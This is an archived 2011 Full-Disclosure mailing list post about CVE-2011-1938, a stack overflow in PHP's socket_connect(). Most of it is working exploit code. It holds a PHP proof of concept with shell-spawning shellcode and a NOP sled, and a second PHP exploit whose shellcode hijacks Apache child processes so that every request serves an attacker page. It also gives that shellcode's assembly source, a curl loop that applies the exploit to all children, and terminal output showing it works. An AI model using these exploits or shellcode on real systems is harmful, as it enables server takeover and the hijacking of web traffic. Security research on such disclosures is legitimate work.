lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 24 May 2011 18:36:10 +0100
From: Marek Kroemeke <kroemeke@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: CVE-2011-1938 PHP socket_connect() stack buffer
	overflow

Hi there,

This is a quick writeup about some fun with apache based on CVE-2011-1938
that was disclosed yesterday.  While the first POC was literally just a
trivial POC - the second one was written for self-educational purposes (we
leared quite a lot which is the most important thing) and we hope it might
be useful for some other vulnerabilities of this/similar type.

This is an old fashioned stack buffer overflow in the socket module,
problem occurs in the socket_connect. It uses memcpy to copy path from addr
to s_un without checking addr length in case when AF_UNIX socket is used. 

POC popping a shell:
-- cut --
<?php
echo "[+] CVE-2011-1938";
echo "[+] there we go...\n";
define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");
define('EVIL_SPACE_SIZE', 1024*1024*8);
$SHELLCODE = 
	"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".
	"\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".
	"\xcd\x80";
echo "[+] creating the sled.\n";

$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
	$i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}

$b = str_repeat("A", 196).EVIL_SPACE_ADDR;
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
echo "[+] popping shell, have fun (if you picked the right address...)\n";
$var85 = socket_connect($var79,$b);
?>
-- cut --



Testing POC :
-- cut --
test@...t02:/home/n1x0n# php ./kaka4.php 
[+] there we go...
[+] creating the sled.
[+] popping shell, have fun.
PHP Warning:  socket_connect(): unable to connect [22]: Invalid argument in 
 /home/n1x0n/kaka4.php on line 16
bash-4.1# 
-- cut --


Now, popping a shell from a .php file that we just uploaded is quite lame
and boring isn't (yes you can use remote connect back with RFI etc..) it ?
Instead we decided to create a shellcode that will do something less common
and more appropriate to this particular type of vulnerability. As we pretty
much have a _full_ control over the apache child process and it's memory -
we can do whatever we like with it. So one of the things that we considered
to be quite nifty was forcing apache child process to serve a page of our
choice. Few problems appeared at this point : how apache handles
connections, how to cleanly get back to apache from our shellcode, how to
keep our handler in memory and respond to requests etc etc... and after few
long nights of playing with this we managed to create a shellcode that
simply "infects" the apache child process that handled connection to our
"magic" php script, and all new requests that will be handled by this child
will return a page of our choice. We decided to create a simple apache
module, and use apache's built in functionality to generate
content(av_rputs), then to use mmap2 to keep our code in memory when our
shellcode leaves. Next step is to overwrite _hooks in apache and exit in a
neat way by signalling the process with SIGPROF thanks to which the signal
handler cleans everything up behind us.  So the main idea is to "infect"
apache child process with our own code. If we do this several times - we
can infect _all_ apache child processes effectively hijacking  _all_
requests comming into apache.

This is the result (obviously you need to guess/find few addresses due to
ASLR like av_rputs & _handle ).  Other protections will prevent this from
working (like SSP,PIE and such).


BEFORE (everything works as expected):
-- cut --
test@...t02:~# curl localhost
<html><body><h1>It works!</h1></body></html>
test@...t02:~# curl http://localhost/this_does_not_exist
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /this_does_not_exist was not found on this server.</p>
</body></html>
-- cut --

Then we call our magic file few times, you'll see the SIGPERF signal sent
by a shellcode (this is a good sign ;-P ) :

-- cut --
test@...t02:~# curl http://localhost/cz.php
<br />
<b>Warning</b>:  socket_connect() [<a
href='function.socket-connect'>function.socket-connect</a>]: unable to
connect [9]: Bad file descriptor in <b>/test/apacz/a/htdocs/cz.php</b> 
on line <b>31</b><br />
<br />
<b>Fatal error</b>:  Maximum execution time of 30 seconds exceeded in
<b>/test/apacz/a/htdocs/cz.php</b> on line <b>31</b><br />
-- cut --


This has to be done several times so that we inject code to all child pids
(not going to add more spam here with all these requests) :

for i in $(seq 1 512) ; do curl http://localhost/cz.php ; done 


AFTER: 
-- cut --
test@...t02:~# curl http://localhost/
pwned
test@...t02:~# curl http://localhost/does_not_exist
pwned
test@...t02:~# curl http://localhost/does_not_exist.php
pwned
test@...t02:~# curl http://localhost/does_not_exist.jpg   
pwned
-- cut --





And this is the code with the infecting shellcode.
-- cut --
<?php

define('EVIL_SPACE_ADDR', "\x00\x00\xff\xb5");
define('EVIL_SPACE_SIZE', 1024*1024*16);
$SHELLCODE =
   "\x31\xc9\x31\xd2\x31\xdb\x66\xb9\x00\x02\x66\xba\x07\x00\xbe\x22".
   "\x00\x00\x00\xbf\xff\xff\xff\xff\x31\xed\xb8\xc0\x00\x00\x00\xcd".
   "\x80\x89\xc7\x89\xc3\xeb\x2d\x5e\xb9\x00\x02\x00\x00\xf3\xa4\xb8".
   "\xc0\xc2\x0c\x08\x8b\x40\x14\x8b\x40\x10\x89\x18\x31\xc0\x31\xdb".
   "\x31\xc9\x66\xb8\x14\x00\xcd\x80\x89\xc3\x66\xb9\x1b\x00\x66\xb8".
   "\x25\x00\xcd\x80\xe8\xce\xff\xff\xff\x55\x89\xe5\x8b\x5d\x08\x53".
   "\xeb\x0e\xb8\x43\xd3\x06\x08\xff\xd0\x83\xc4\x08\x31\xc0\xc9\xc3".
   "\xe8\xed\xff\xff\xff\x70\x77\x6e\x65\x64\x0a\x00";

/* allocate memory for shellcode  */
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ; $i <
strlen($SHELLCODE) ; $i++, $j++) {
   $CODE[$j] = $SHELLCODE[$i];
}

$b = str_repeat(EVIL_SPACE_ADDR,46);

$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
$var85 = socket_connect($var79,$b);

?>
-- cut --


and above shellcode in a human readable form would be something along these
lines:


-- cut --
section .text

_start:

        xor ecx, ecx
        xor edx, edx
        xor ebx, ebx        ; NULL
        mov cx,0x200        ; 512 bytes 
        mov dx,0x7          ; PROT_READ|PROT_WRITE|PROT_EXEC
        mov esi,0x22        ; MAP_PRIVATE|MAP_ANONYMOUS
        mov edi,0xffffffff  ; -1
        xor ebp, ebp        ;
        mov eax,0xc0        ; mmap()
        int 80h
        mov edi, eax
        mov ebx, eax
        jmp short handler
next_3:
        pop esi
        mov ecx, 0x200
        rep movsb
        mov eax, 0x80cc2c0
        mov eax, [eax+0x14]
        mov eax, [eax+0x10]
        mov [eax], ebx
        ; kill(getpid(), SIGPROF)
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        mov ax, 20 ; getpid()
        int 80h
        mov ebx, eax ; pid
        mov cx, 27  ; SIGPROF
        mov ax, 37  ; kill()
        int 80h
        ; not reached

handler:
        call near next_3
        push ebp
        mov ebp, esp
        mov ebx, [ebp+8]
        push ebx
        jmp short pwned
 next_2:
        mov eax, 0xb4dc0d3d
        call eax
        add esp, 8
        xor eax, eax
        leave
        ret

pwned:
        call near next_2
        db "pwned",10,0
-- cut --


Found and exploited by:
Mateusz (shm) Kocielski, Filip (s1m0n) Palian and Marek (n1x0n) Kroemeke

Best regards,
Marek

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ